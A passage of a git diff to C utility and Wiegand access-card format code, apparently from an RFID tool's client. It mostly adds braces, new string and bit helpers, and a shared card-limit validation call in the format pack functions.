++i; } out: @@ -546,7 +556,7 @@ char *sprint_ascii_ex(const uint8_t *data, const size_t len, const size_t min_st while (i < max_len) { unsigned char c = (unsigned char)data[i]; - tmp[i] = isprint(c) ? c : '.'; + tmp[i] = (isprint(c) && c != 0xff) ? c : '.'; ++i; } @@ -619,10 +629,13 @@ char *sprint_breakdown_bin(color_t color, const char *bs, int width, int padn, i } int hex_to_bytes(const char *hexValue, uint8_t *bytesValue, size_t maxBytesValueLen) { + char buf[4] = {0}; int indx = 0; int bytesValueLen = 0; + while (hexValue[indx]) { + if (hexValue[indx] == '\t' || hexValue[indx] == ' ') { indx++; continue; @@ -682,6 +695,7 @@ void bytes_to_bytebits(const void *src, const size_t srclen, void *dest) { uint32_t i = srclen * 8; size_t j = srclen; + while (j--) { uint8_t b = s[j]; d[--i] = (b >> 0) & 1; @@ -732,26 +746,42 @@ void SwapEndian64ex(const uint8_t *src, const size_t len, const uint8_t blockSiz // ------------------------------------------------------------------------- int param_getptr(const char *line, int *bg, int *en, int paramnum) { int i; + if (line == NULL) { + return 1; + } int len = strlen(line); *bg = 0; *en = 0; // skip spaces - while (line[*bg] == ' ' || line[*bg] == '\t')(*bg)++; + while (line[*bg] == ' ' || line[*bg] == '\t') { + (*bg)++; + } + if (*bg >= len) { return 1; } for (i = 0; i < paramnum; i++) { - while (line[*bg] != ' ' && line[*bg] != '\t' && line[*bg] != '\0')(*bg)++; - while (line[*bg] == ' ' || line[*bg] == '\t')(*bg)++; - if (line[*bg] == '\0') return 1; + while (line[*bg] != ' ' && line[*bg] != '\t' && line[*bg] != '\0') { + (*bg)++; + } + + while (line[*bg] == ' ' || line[*bg] == '\t') { + (*bg)++; + } + + if (line[*bg] == '\0') { + return 1; + } } *en = *bg; - while (line[*en] != ' ' && line[*en] != '\t' && line[*en] != '\0')(*en)++; + while (line[*en] != ' ' && line[*en] != '\t' && line[*en] != '\0') { + (*en)++; + } (*en)--; @@ -761,7 +791,9 @@ int param_getptr(const char *line, int *bg, int *en, int paramnum) { int param_getlength(const char *line, int paramnum) { int bg, en; - if (param_getptr(line, &bg, &en, paramnum)) return 0; + if (param_getptr(line, &bg, &en, paramnum)) { + return 0; + } return en - bg + 1; } @@ -773,10 +805,13 @@ char param_getchar(const char *line, int paramnum) { char param_getchar_indx(const char *line, int indx, int paramnum) { int bg, en; - if (param_getptr(line, &bg, &en, paramnum)) return 0x00; + if (param_getptr(line, &bg, &en, paramnum)) { + return 0; + } - if (bg + indx > en) + if (bg + indx > en) { return '\0'; + } return line[bg + indx]; } @@ -793,7 +828,9 @@ uint8_t param_get8(const char *line, int paramnum) { */ uint8_t param_getdec(const char *line, int paramnum, uint8_t *destination) { uint8_t val = param_get8ex(line, paramnum, 255, 10); - if ((int8_t) val == -1) return 1; + if ((int8_t) val == -1) { + return 1; + } (*destination) = val; return 0; } @@ -806,49 +843,56 @@ uint8_t param_getdec(const char *line, int paramnum, uint8_t *destination) { uint8_t param_isdec(const char *line, int paramnum) { int bg, en; //TODO, check more thorougly - if (!param_getptr(line, &bg, &en, paramnum)) return 1; + if (!param_getptr(line, &bg, &en, paramnum)) { + return 1; + } // return strtoul(&line[bg], NULL, 10) & 0xff; - return 0; } uint8_t param_get8ex(const char *line, int paramnum, int deflt, int base) { int bg, en; - if (!param_getptr(line, &bg, &en, paramnum)) + if (param_getptr(line, &bg, &en, paramnum) == 0) { return strtoul(&line[bg], NULL, base) & 0xff; - else + } else { return deflt; + } } uint32_t param_get32ex(const char *line, int paramnum, int deflt, int base) { int bg, en; - if (!param_getptr(line, &bg, &en, paramnum)) + if (param_getptr(line, &bg, &en, paramnum) == 0) { return strtoul(&line[bg], NULL, base); - else + } else { return deflt; + } } uint64_t param_get64ex(const char *line, int paramnum, int deflt, int base) { int bg, en; - if (!param_getptr(line, &bg, &en, paramnum)) + if (param_getptr(line, &bg, &en, paramnum) == 0) { return strtoull(&line[bg], NULL, base); - else + } else { return deflt; + } } float param_getfloat(const char *line, int paramnum, float deflt) { int bg, en; - if (!param_getptr(line, &bg, &en, paramnum)) + if (param_getptr(line, &bg, &en, paramnum) == 0) { return strtof(&line[bg], NULL); - else + } else { return deflt; + } } int param_gethex_ex(const char *line, int paramnum, uint8_t *data, int *hexcnt) { int bg, en, i; uint32_t temp; - if (param_getptr(line, &bg, &en, paramnum)) return 1; + if (param_getptr(line, &bg, &en, paramnum)) { + return 1; + } *hexcnt = en - bg + 1; @@ -858,7 +902,9 @@ int param_gethex_ex(const char *line, int paramnum, uint8_t *data, int *hexcnt) } for (i = 0; i < *hexcnt; i += 2) { - if (!(isxdigit(line[bg + i]) && isxdigit(line[bg + i + 1]))) return 1; + if (!(isxdigit(line[bg + i]) && isxdigit(line[bg + i + 1]))) { + return 1; + } sscanf((char[]) {line[bg + i], line[bg + i + 1], 0}, "%X", &temp); data[i / 2] = temp & 0xff; @@ -871,14 +917,16 @@ int param_gethex_to_eol(const char *line, int paramnum, uint8_t *data, int maxda int bg, en; - if (param_getptr(line, &bg, &en, paramnum)) + if (param_getptr(line, &bg, &en, paramnum)) { return 1; + } *datalen = 0; char buf[5] = {0}; int indx = bg; while (line[indx]) { + if (line[indx] == '\t' || line[indx] == ' ') { indx++; continue; @@ -908,9 +956,10 @@ int param_gethex_to_eol(const char *line, int paramnum, uint8_t *data, int maxda indx++; } - if (strlen(buf) > 0) + if (strlen(buf) > 0) { //error when not completed hex bytes return 3; + } return 0; } @@ -925,6 +974,7 @@ int param_getbin_to_eol(const char *line, int paramnum, uint8_t *data, int maxda char buf[5] = {0}; int indx = bg; while (line[indx]) { + if (line[indx] == '\t' || line[indx] == ' ') { indx++; continue; @@ -990,11 +1040,14 @@ int hextobinarray_n(char *target, char *source, int sourcelen) { char *start = source; // process 4 bits (1 hex digit) at a time while (sourcelen--) { + char x = *(source++); + // capitalize if (x >= 'a' && x <= 'f') { x -= 32; } + // convert to numeric value if (x >= '0' && x <= '9') { x -= '0'; @@ -1004,6 +1057,7 @@ int hextobinarray_n(char *target, char *source, int sourcelen) { PrintAndLogEx(INFO, "(hextobinarray) discovered unknown character %c %d at idx %d of %s", x, x, (int16_t)(source - start), start); return 0; } + // output for (i = 0 ; i < 4 ; ++i, ++count) { *(target++) = (x >> (3 - i)) & 1; @@ -1051,15 +1105,20 @@ int binarray_2_hex(char *target, const size_t targetlen, const char *source, siz uint32_t t = 0; // written target chars uint32_t r = 0; // consumed bits uint8_t w = 0; // wrong bits separator printed + for (size_t s = 0 ; s < srclen; s++) { + if ((source[s] == 0) || (source[s] == 1)) { w = 0; x += (source[s] << (3 - i)); i++; + if (i == 4) { + if (t >= targetlen - 2) { return r; } + snprintf(target + t, targetlen - t, "%X", x); t++; r += 4; @@ -1067,10 +1126,13 @@ int binarray_2_hex(char *target, const size_t targetlen, const char *source, siz i = 0; } } else { + if (i > 0) { + if (t >= targetlen - 5) { return r; } + snprintf(target + t, targetlen - t, "%X[%i]", x, i); t += 4; r += i; @@ -1078,13 +1140,17 @@ int binarray_2_hex(char *target, const size_t targetlen, const char *source, siz i = 0; w = 1; } + if (w == 0) { + if (t >= targetlen - 2) { return r; } + snprintf(target + t, targetlen - t, " "); t++; } + r++; } } @@ -1105,9 +1171,9 @@ int binstr_2_binarray(uint8_t *target, char *source, int length) { while (length--) { char x = *(source++); // convert from binary value - if (x >= '0' && x <= '1') + if (x >= '0' && x <= '1') { x -= '0'; - else { + } else { PrintAndLogEx(WARNING, "(binstring2binarray) discovered unknown character %c %d at idx %d of %s", x, x, (int16_t)(source - start), start); return 0; } @@ -1147,17 +1213,48 @@ void binstr_2_bytes(uint8_t *target, size_t *targetlen, const char *src) { } } +void binstr_2_u8(char *src, uint8_t n, uint8_t *dest) { + + uint8_t b = 0; + // Process binary string + for (uint8_t i = 0; i < n; ++i) { + b = (b << 1) | (src[i] == '1'); + } + if (dest) { + *dest = b; + } +} + +void binstr_2_u16(char *src, uint8_t n, uint16_t *dest) { + uint16_t b = 0; + // Process binary string + for (uint8_t i = 0; i < n; ++i) { + b = (b << 1) | (src[i] == '1'); + } + if (dest) { + *dest = b; + } +} + void hex_xor(uint8_t *d, const uint8_t *x, int n) { while (n--) { d[n] ^= x[n]; } } +void hex_xor_token(uint8_t *d, const uint8_t *x, int dn, int xn) { + while (dn--) { + d[dn] ^= x[dn % xn]; + } +} + + // return parity bit required to match type uint8_t GetParity(const uint8_t *bits, uint8_t type, int length) { int x; - for (x = 0 ; length > 0 ; --length) + for (x = 0 ; length > 0 ; --length) { x += bits[length - 1]; + } x %= 2; return x ^ type; } @@ -1181,24 +1278,30 @@ void wiegand_add_parity_swapped(uint8_t *target, const uint8_t *source, uint8_t // Pack a bitarray into a uint32_t. uint32_t PackBits(uint8_t start, uint8_t len, const uint8_t *bits) { - if (len > 32) return 0; + if (len > 32) { + return 0; + } int i = start; int j = len - 1; uint32_t tmp = 0; - for (; j >= 0; --j, ++i) + for (; j >= 0; --j, ++i) { tmp |= bits[i] << j; + } return tmp; } uint64_t HornerScheme(uint64_t num, uint64_t divider, uint64_t factor) { + uint64_t remaind = 0, quotient = 0, result = 0; remaind = num % divider; quotient = num / divider; - if (!(quotient == 0 && remaind == 0)) + + if (!(quotient == 0 && remaind == 0)) { result += HornerScheme(quotient, divider, factor) * factor + remaind; + } return result; } @@ -1219,15 +1322,17 @@ int detect_num_CPUs(void) { return sysinfo.dwNumberOfProcessors; #else int count = sysconf(_SC_NPROCESSORS_ONLN); - if (count <= 0) + if (count <= 0) { count = 1; + } return count; #endif } void str_lower(char *s) { - for (size_t i = 0; i < strlen(s); i++) + for (size_t i = 0; i < strlen(s); i++) { s[i] = tolower(s[i]); + } } void str_upper(char *s) { @@ -1235,8 +1340,9 @@ void str_upper(char *s) { } void strn_upper(char *s, size_t n) { - for (size_t i = 0; i < n; i++) + for (size_t i = 0; i < n; i++) { s[i] = toupper(s[i]); + } } // check for prefix in string bool str_startswith(const char *s, const char *pre) { @@ -1256,8 +1362,9 @@ bool str_endswith(const char *s, const char *suffix) { // Replace unprintable characters with a dot in char buffer void clean_ascii(unsigned char *buf, size_t len) { for (size_t i = 0; i < len; i++) { - if (!isprint(buf[i])) + if (isprint(buf[i]) == 0) { buf[i] = '.'; + } } } @@ -1270,12 +1377,12 @@ void str_cleanrn(char *buf, size_t len) { // replace char in buffer void str_creplace(char *buf, size_t len, char from, char to) { for (size_t i = 0; i < len; i++) { - if (buf[i] == from) + if (buf[i] == from) { buf[i] = to; + } } } - char *str_dup(const char *src) { return str_ndup(src, strlen(src)); } @@ -1326,6 +1433,20 @@ void str_inverse_bin(char *buf, size_t len) { } } +void str_trim(char *s) { + if (s == NULL) { + return; + } + + // handle empty string + if (!*s) { + return; + } + + char *ptr; + for (ptr = s + strlen(s) - 1; (ptr >= s) && isspace(*ptr); --ptr); + ptr[1] = '\0'; +} /** * Converts a hex string to component "hi2", "hi" and "lo" 32-bit integers @@ -1356,8 +1477,9 @@ int binstring_to_u96(uint32_t *hi2, uint32_t *hi, uint32_t *lo, const char *str) for (;;) { int res = sscanf(&str[i], "%1u", &n); - if ((res != 1) || (n > 1)) + if ((res != 1) || (n > 1)) { break; + } *hi2 = (*hi2 << 1) | (*hi >> 31); *hi = (*hi << 1) | (*lo >> 31); @@ -1379,8 +1501,9 @@ int binarray_to_u96(uint32_t *hi2, uint32_t *hi, uint32_t *lo, const uint8_t *ar int i = 0; for (; i < arrlen; i++) { uint8_t n = arr[i]; - if (n > 1) + if (n > 1) { break; + } *hi2 = (*hi2 << 1) | (*hi >> 31); *hi = (*hi << 1) | (*lo >> 31); @@ -1436,17 +1559,20 @@ int byte_strstr(const uint8_t *src, size_t srclen, const uint8_t *pattern, size_ for (size_t i = 0; i < max; i++) { // compare only first byte - if (src[i] != pattern[0]) + if (src[i] != pattern[0]) { continue; + } // try to match rest of the pattern for (int j = plen - 1; j >= 1; j--) { - if (src[i + j] != pattern[j]) + if (src[i + j] != pattern[j]) { break; + } - if (j == 1) + if (j == 1) { return i; + } } } return -1; @@ -1458,17 +1584,20 @@ int byte_strstr(const uint8_t *src, size_t srclen, const uint8_t *pattern, size_ int byte_strrstr(const uint8_t *src, size_t srclen, const uint8_t *pattern, size_t plen) { for (int i = srclen - plen; i >= 0; i--) { // compare only first byte - if (src[i] != pattern[0]) + if (src[i] != pattern[0]) { continue; + } // try to match rest of the pattern for (int j = plen - 1; j >= 1; j--) { - if (src[i + j] != pattern[j]) + if (src[i + j] != pattern[j]) { break; + } - if (j == 1) + if (j == 1) { return i; + } } } return -1; @@ -1501,3 +1630,40 @@ uint8_t get_highest_frequency(const uint8_t *d, uint8_t n) { PrintAndLogEx(DEBUG, "highest occurance... %u xor byte... 0x%02X", highest, v); return v; } + +size_t unduplicate(uint8_t *d, size_t n, const uint8_t item_n) { + if (n == 0) { + return 0; + } + if (n == 1) { + return 1; + } + + int write_index = 0; + + for (int read_index = 0; read_index < n; ++read_index) { + uint8_t *current = d + read_index * item_n; + + bool is_duplicate = false; + + // Check against all previous unique elements + for (int i = 0; i < write_index; ++i) { + uint8_t *unique = d + i * item_n; + if (memcmp(current, unique, item_n) == 0) { + is_duplicate = 1; + break; + } + } + + // If not duplicate, move to the write_index position + if (is_duplicate == false) { + uint8_t *dest = d + write_index * item_n; + if (dest != current) { + memcpy(dest, current, item_n); + } + write_index++; + } + } + + return write_index; +} diff --git a/client/src/util.h b/client/src/util.h index 1606cb81c..186f2e2a7 100644 --- a/client/src/util.h +++ b/client/src/util.h @@ -141,7 +141,11 @@ int binstr_2_binarray(uint8_t *target, char *source, int length); void bytes_2_binstr(char *target, const uint8_t *source, size_t sourcelen); void binstr_2_bytes(uint8_t *target, size_t *targetlen, const char *src); +void binstr_2_u8(char *src, uint8_t n, uint8_t *dest); +void binstr_2_u16(char *src, uint8_t n, uint16_t *dest); + void hex_xor(uint8_t *d, const uint8_t *x, int n); +void hex_xor_token(uint8_t *d, const uint8_t *x, int dn, int xn); uint8_t GetParity(const uint8_t *bits, uint8_t type, int length); void wiegand_add_parity(uint8_t *target, const uint8_t *source, uint8_t length); @@ -167,10 +171,12 @@ void str_creplace(char *buf, size_t len, char from, char to); void str_reverse(char *buf, size_t len); void str_inverse_hex(char *buf, size_t len); void str_inverse_bin(char *buf, size_t len); +void str_trim(char *s); char *str_dup(const char *src); char *str_ndup(const char *src, size_t len); size_t str_nlen(const char *src, size_t maxlen); + int hexstring_to_u96(uint32_t *hi2, uint32_t *hi, uint32_t *lo, const char *str); int binstring_to_u96(uint32_t *hi2, uint32_t *hi, uint32_t *lo, const char *str); int binarray_to_u96(uint32_t *hi2, uint32_t *hi, uint32_t *lo, const uint8_t *arr, int arrlen); @@ -191,4 +197,7 @@ struct smartbuf { void sb_append_char(smartbuf *sb, unsigned char c); uint8_t get_highest_frequency(const uint8_t *d, uint8_t n); + +size_t unduplicate(uint8_t *d, size_t n, const uint8_t item_n); + #endif diff --git a/client/src/wiegand_formats.c b/client/src/wiegand_formats.c index bf08e0908..fa1d68eb1 100644 --- a/client/src/wiegand_formats.c +++ b/client/src/wiegand_formats.c @@ -19,13 +19,23 @@ #include #include "commonutil.h" +static bool step_parity_check(wiegand_message_t *packed, int start, int length, bool even_parity) { + bool parity = even_parity; + for (int i = start; i < start + length; i += 2) { + // Extract 2 bits + bool bit1 = get_bit_by_position(packed, i); + bool bit2 = get_bit_by_position(packed, i + 1); -static bool Pack_Defcon32(wiegand_card_t *card, wiegand_message_t *packed, bool preamble) { + // Calculate parity for these 2 bits + parity ^= (bit1 ^ bit2); + } + return parity; +} + +static bool Pack_Defcon32(int format_idx, wiegand_card_t *card, wiegand_message_t *packed, bool preamble) { memset(packed, 0, sizeof(wiegand_message_t)); - if (card->FacilityCode > 0x00FFFF) return false; // Can't encode FC. - if (card->CardNumber > 0x0fffff) return false; // Can't encode CN. - if (card->IssueLevel > 0x00000F) return false; // Can't encode Issue - if (card->OEM > 0) return false; // Not used in this format + + if (!validate_card_limit(format_idx, card)) return false; packed->Length = 42; /* @@ -66,10 +76,10 @@ static bool Pack_Defcon32(wiegand_card_t *card, wiegand_message_t *packed, bool } static bool Unpack_Defcon32(wiegand_message_t *packed, wiegand_card_t *card) { - memset(card, 0, sizeof(wiegand_card_t)); - if (packed->Length != 42) return false; // Wrong length? Stop here. + memset(card, 0, sizeof(wiegand_card_t)); + card->FacilityCode = get_linear_field(packed, 1, 16); card->IssueLevel = get_linear_field(packed, 17, 4); card->CardNumber = get_linear_field(packed, 21, 20); @@ -82,14 +92,10 @@ static bool Unpack_Defcon32(wiegand_message_t *packed, wiegand_card_t *card) { return true; } - -static bool Pack_H10301(wiegand_card_t *card, wiegand_message_t *packed, bool preamble) { +static bool Pack_H10301(int format_idx, wiegand_card_t *card, wiegand_message_t *packed, bool preamble) { memset(packed, 0, sizeof(wiegand_message_t)); - if (card->FacilityCode > 0xFF) return false; // Can't encode FC. - if (card->CardNumber > 0xFFFF) return false; // Can't encode CN. - if (card->IssueLevel > 0) return false; // Not used in this format - if (card->OEM > 0) return false; // Not used in this format + if (!validate_card_limit(format_idx, card)) return false; packed->Length = 26; // Set number of bits packed->Bot |= (card->CardNumber & 0xFFFF) << 1; @@ -102,9 +108,10 @@ static bool Pack_H10301(wiegand_card_t *card, wiegand_message_t *packed, bool pr } static bool Unpack_H10301(wiegand_message_t *packed, wiegand_card_t *card) { - memset(card, 0, sizeof(wiegand_card_t)); if (packed->Length != 26) return false; // Wrong length? Stop here. + memset(card, 0, sizeof(wiegand_card_t)); + card->CardNumber = (packed->Bot >> 1) & 0xFFFF; card->FacilityCode = (packed->Bot >> 17) & 0xFF; card->ParityValid = @@ -113,14 +120,11 @@ static bool Unpack_H10301(wiegand_message_t *packed, wiegand_card_t *card) { return true; } -static bool Pack_ind26(wiegand_card_t *card, wiegand_message_t *packed, bool preamble) { +static bool Pack_ind26(int format_idx, wiegand_card_t *card, wiegand_message_t *packed, bool preamble) { memset(packed, 0, sizeof(wiegand_message_t)); - if (card->FacilityCode > 0xFFF) return false; // 12 bits - if (card->CardNumber > 0xFFF) return false; // 12 bits - if (card->IssueLevel > 0) return false; // Not used in this format - if (card->OEM > 0) return false; // Not used in this format + if (!validate_card_limit(format_idx, card)) return false; packed->Length = 26; // Set number of bits @@ -140,10 +144,10 @@ static bool Pack_ind26(wiegand_card_t *card, wiegand_message_t *packed, bool pre } static bool Unpack_ind26(wiegand_message_t *packed, wiegand_card_t *card) { - memset(card, 0, sizeof(wiegand_card_t)); - if (packed->Length != 26) return false; // Wrong length? Stop here. + memset(card, 0, sizeof(wiegand_card_t)); + card->FacilityCode = get_linear_field(packed, 1, 12); card->CardNumber = get_linear_field(packed, 13, 12); @@ -153,13 +157,10 @@ static bool Unpack_ind26(wiegand_message_t *packed, wiegand_card_t *card) { return true; } -static bool Pack_Tecom27(wiegand_card_t *card, wiegand_message_t *packed, bool preamble) { +static bool Pack_Tecom27(int format_idx, wiegand_card_t *card, wiegand_message_t *packed, bool preamble) { memset(packed, 0, sizeof(wiegand_message_t)); - if (card->FacilityCode > 0x7FF) return false; // Can't encode FC. - if (card->CardNumber > 0xFFFF) return false; // Can't encode CN. - if (card->IssueLevel > 0) return false; // Not used in this format - if (card->OEM > 0) return false; // Not used in this format + if (!validate_card_limit(format_idx, card)) return false; packed->Length = 27; set_nonlinear_field(packed, card->FacilityCode, 11, (uint8_t[]) {15, 19, 24, 23, 22, 18, 6, 10, 14, 3, 2}); @@ -170,23 +171,21 @@ static bool Pack_Tecom27(wiegand_card_t *card, wiegand_message_t *packed, bool p } static bool Unpack_Tecom27(wiegand_message_t *packed, wiegand_card_t *card) { - memset(card, 0, sizeof(wiegand_card_t)); if (packed->Length != 27) return false; // Wrong length? Stop here. + memset(card, 0, sizeof(wiegand_card_t)); + card->CardNumber = get_nonlinear_field(packed, 16, (uint8_t[]) {0, 1, 13, 12, 9, 26, 20, 16, 17, 21, 25, 7, 8, 11, 4, 5}); card->FacilityCode = get_nonlinear_field(packed, 11, (uint8_t[]) {15, 19, 24, 23, 22, 18, 6, 10, 14, 3, 2}); return true; } -static bool Pack_ind27(wiegand_card_t *card, wiegand_message_t *packed, bool preamble) { +static bool Pack_ind27(int format_idx, wiegand_card_t *card, wiegand_message_t *packed, bool preamble) { memset(packed, 0, sizeof(wiegand_message_t)); - if (card->FacilityCode > 0x1FFF) return false; // 13 bits - if (card->CardNumber > 0x3FFF) return false; // 14 bits - if (card->IssueLevel > 0) return false; // Not used in this format - if (card->OEM > 0) return false; // 4 bit + if (!validate_card_limit(format_idx, card)) return false; packed->Length = 27; // Set number of bits @@ -199,22 +198,19 @@ static bool Pack_ind27(wiegand_card_t *card, wiegand_message_t *packed, bool pre } static bool Unpack_ind27(wiegand_message_t *packed, wiegand_card_t *card) { - memset(card, 0, sizeof(wiegand_card_t)); - if (packed->Length != 27) return false; // Wrong length? Stop here. + memset(card, 0, sizeof(wiegand_card_t)); + card->FacilityCode = get_linear_field(packed, 0, 13); card->CardNumber = get_linear_field(packed, 13, 14); return true; } -static bool Pack_indasc27(wiegand_card_t *card, wiegand_message_t *packed, bool preamble) { +static bool Pack_indasc27(int format_idx, wiegand_card_t *card, wiegand_message_t *packed, bool preamble) { memset(packed, 0, sizeof(wiegand_message_t)); - if (card->FacilityCode > 0x1FFF) return false; // 13 bits - if (card->CardNumber > 0x3FFF) return false; // 14 bits - if (card->IssueLevel > 0) return false; // Not used in this format - if (card->OEM > 0) return false; // Not used in this format + if (!validate_card_limit(format_idx, card)) return false; packed->Length = 27; set_nonlinear_field(packed, card->FacilityCode, 13, (uint8_t[]) {9, 4, 6, 5, 0, 7, 19, 8, 10, 16, 24, 12, 22}); @@ -225,22 +221,19 @@ static bool Pack_indasc27(wiegand_card_t *card, wiegand_message_t *packed, bool } static bool Unpack_indasc27(wiegand_message_t *packed, wiegand_card_t *card) { - memset(card, 0, sizeof(wiegand_card_t)); - if (packed->Length != 27) return false; // Wrong length? Stop here. + memset(card, 0, sizeof(wiegand_card_t)); + card->FacilityCode = get_nonlinear_field(packed, 13, (uint8_t[]) {9, 4, 6, 5, 0, 7, 19, 8, 10, 16, 24, 12, 22}); card->CardNumber = get_nonlinear_field(packed, 14, (uint8_t[]) {26, 1, 3, 15, 14, 17, 20, 13, 25, 2, 18, 21, 11, 23}); return true; } -static bool Pack_2804W(wiegand_card_t *card, wiegand_message_t *packed, bool preamble) { +static bool Pack_2804W(int format_idx, wiegand_card_t *card, wiegand_message_t *packed, bool preamble) { memset(packed, 0, sizeof(wiegand_message_t)); - if (card->FacilityCode > 0x0FF) return false; // Can't encode FC. - if (card->CardNumber > 0x7FFF) return false; // Can't encode CN. - if (card->IssueLevel > 0) return false; // Not used in this format - if (card->OEM > 0) return false; // Not used in this format + if (!validate_card_limit(format_idx, card)) return false; packed->Length = 28; set_linear_field(packed, card->FacilityCode, 4, 8); @@ -260,10 +253,11 @@ static bool Pack_2804W(wiegand_card_t *card, wiegand_message_t *packed, bool pre } static bool Unpack_2804W(wiegand_message_t *packed, wiegand_card_t *card) { - memset(card, 0, sizeof(wiegand_card_t)); if (packed->Length != 28) return false; // Wrong length? Stop here. + memset(card, 0, sizeof(wiegand_card_t)); + card->FacilityCode = get_linear_field(packed, 4, 8); card->CardNumber = get_linear_field(packed, 12, 15); card->ParityValid = @@ -273,14 +267,11 @@ static bool Unpack_2804W(wiegand_message_t *packed, wiegand_card_t *card) { return true; } -static bool Pack_ind29(wiegand_card_t *card, wiegand_message_t *packed, bool preamble) { +static bool Pack_ind29(int format_idx, wiegand_card_t *card, wiegand_message_t *packed, bool preamble) { memset(packed, 0, sizeof(wiegand_message_t)); - if (card->FacilityCode > 0x1FFF) return false; // 13 bits - if (card->CardNumber > 0xFFFF) return false; // 16 bits - if (card->IssueLevel > 0) return false; // Not used in this format - if (card->OEM > 0) return false; // 4 bit + if (!validate_card_limit(format_idx, card)) return false; packed->Length = 29; // Set number of bits @@ -293,22 +284,19 @@ static bool Pack_ind29(wiegand_card_t *card, wiegand_message_t *packed, bool pre } static bool Unpack_ind29(wiegand_message_t *packed, wiegand_card_t *card) { - memset(card, 0, sizeof(wiegand_card_t)); - if (packed->Length != 29) return false; // Wrong length? Stop here. + memset(card, 0, sizeof(wiegand_card_t)); + card->FacilityCode = get_linear_field(packed, 0, 13); card->CardNumber = get_linear_field(packed, 13, 16); return true; } -static bool Pack_ATSW30(wiegand_card_t *card, wiegand_message_t *packed, bool preamble) { +static bool Pack_ATSW30(int format_idx, wiegand_card_t *card, wiegand_message_t *packed, bool preamble) { memset(packed, 0, sizeof(wiegand_message_t)); - if (card->FacilityCode > 0xFFF) return false; // Can't encode FC. - if (card->CardNumber > 0xFFFF) return false; // Can't encode CN. - if (card->IssueLevel > 0) return false; // Not used in this format - if (card->OEM > 0) return false; // Not used in this format + if (!validate_card_limit(format_idx, card)) return false; packed->Length = 30; set_linear_field(packed, card->FacilityCode, 1, 12); @@ -325,10 +313,10 @@ static bool Pack_ATSW30(wiegand_card_t *card, wiegand_message_t *packed, bool pr } static bool Unpack_ATSW30(wiegand_message_t *packed, wiegand_card_t *card) { - memset(card, 0, sizeof(wiegand_card_t)); - if (packed->Length != 30) return false; // Wrong length? Stop here. + memset(card, 0, sizeof(wiegand_card_t)); + card->FacilityCode = get_linear_field(packed, 1, 12); card->CardNumber = get_linear_field(packed, 13, 16); card->ParityValid = @@ -337,13 +325,10 @@ static bool Unpack_ATSW30(wiegand_message_t *packed, wiegand_card_t *card) { return true; } -static bool Pack_ADT31(wiegand_card_t *card, wiegand_message_t *packed, bool preamble) { +static bool Pack_ADT31(int format_idx, wiegand_card_t *card, wiegand_message_t *packed, bool preamble) { memset(packed, 0, sizeof(wiegand_message_t)); - if (card->FacilityCode > 0x0F) return false; // Can't encode FC. - if (card->CardNumber > 0x7FFFFF) return false; // Can't encode CN. - if (card->IssueLevel > 0) return false; // Not used in this format - if (card->OEM > 0) return false; // Not used in this format + if (!validate_card_limit(format_idx, card)) return false; packed->Length = 31; set_linear_field(packed, card->FacilityCode, 1, 4); @@ -355,22 +340,21 @@ static bool Pack_ADT31(wiegand_card_t *card, wiegand_message_t *packed, bool pre } static bool Unpack_ADT31(wiegand_message_t *packed, wiegand_card_t *card) { - memset(card, 0, sizeof(wiegand_card_t)); if (packed->Length != 31) return false; // Wrong length? Stop here. + + memset(card, 0, sizeof(wiegand_card_t)); + card->FacilityCode = get_linear_field(packed, 1, 4); card->CardNumber = get_linear_field(packed, 5, 23); return true; } -static bool Pack_hcp32(wiegand_card_t *card, wiegand_message_t *packed, bool preamble) { +static bool Pack_hcp32(int format_idx, wiegand_card_t *card, wiegand_message_t *packed, bool preamble) { memset(packed, 0, sizeof(wiegand_message_t)); - if (card->FacilityCode > 0) return false; // Not used - if (card->CardNumber > 0x3FFF) return false; // 24 bits - if (card->IssueLevel > 0) return false; // Not used in this format - if (card->OEM > 0) return false; // Not used + if (!validate_card_limit(format_idx, card)) return false; packed->Length = 32; // Set number of bits @@ -382,22 +366,20 @@ static bool Pack_hcp32(wiegand_card_t *card, wiegand_message_t *packed, bool pre } static bool Unpack_hcp32(wiegand_message_t *packed, wiegand_card_t *card) { - memset(card, 0, sizeof(wiegand_card_t)); if (packed->Length != 32) return false; // Wrong length? Stop here. + memset(card, 0, sizeof(wiegand_card_t)); + card->CardNumber = get_linear_field(packed, 1, 24); return true; } -static bool Pack_hpp32(wiegand_card_t *card, wiegand_message_t *packed, bool preamble) { +static bool Pack_hpp32(int format_idx, wiegand_card_t *card, wiegand_message_t *packed, bool preamble) { memset(packed, 0, sizeof(wiegand_message_t)); - if (card->FacilityCode > 0xFFF) return false; // 12 bits - if (card->CardNumber > 0x1FFFFFFF) return false; // 29 bits - if (card->IssueLevel > 0) return false; // Not used in this format - if (card->OEM > 0) return false; // Not used + if (!validate_card_limit(format_idx, card)) return false; packed->Length = 32; // Set number of bits @@ -410,23 +392,21 @@ static bool Pack_hpp32(wiegand_card_t *card, wiegand_message_t *packed, bool pre } static bool Unpack_hpp32(wiegand_message_t *packed, wiegand_card_t *card) { - memset(card, 0, sizeof(wiegand_card_t)); if (packed->Length != 32) return false; // Wrong length? Stop here. + memset(card, 0, sizeof(wiegand_card_t)); + card->FacilityCode = get_linear_field(packed, 1, 12); card->CardNumber = get_linear_field(packed, 13, 29); return true; } -static bool Pack_wie32(wiegand_card_t *card, wiegand_message_t *packed, bool preamble) { +static bool Pack_wie32(int format_idx, wiegand_card_t *card, wiegand_message_t *packed, bool preamble) { memset(packed, 0, sizeof(wiegand_message_t)); - if (card->FacilityCode > 0xFFF) return false; // 12 bits - if (card->CardNumber > 0xFFFF) return false; // 16 bits - if (card->IssueLevel > 0) return false; // Not used in this format - if (card->OEM > 0) return false; // Not used + if (!validate_card_limit(format_idx, card)) return false; packed->Length = 32; // Set number of bits @@ -439,22 +419,20 @@ static bool Pack_wie32(wiegand_card_t *card, wiegand_message_t *packed, bool pre } static bool Unpack_wie32(wiegand_message_t *packed, wiegand_card_t *card) { - memset(card, 0, sizeof(wiegand_card_t)); if (packed->Length != 32) return false; // Wrong length? Stop here. + memset(card, 0, sizeof(wiegand_card_t)); + card->FacilityCode = get_linear_field(packed, 4, 12); card->CardNumber = get_linear_field(packed, 16, 16); return true; } -static bool Pack_Kastle(wiegand_card_t *card, wiegand_message_t *packed, bool preamble) { +static bool Pack_Kastle(int format_idx, wiegand_card_t *card, wiegand_message_t *packed, bool preamble) { memset(packed, 0, sizeof(wiegand_message_t)); - if (card->FacilityCode > 0x00FF) return false; // Can't encode FC. - if (card->CardNumber > 0x0000FFFF) return false; // Can't encode CN. - if (card->IssueLevel > 0x001F) return false; // IL is only 5 bits. - if (card->OEM > 0) return false; // Not used in this format + if 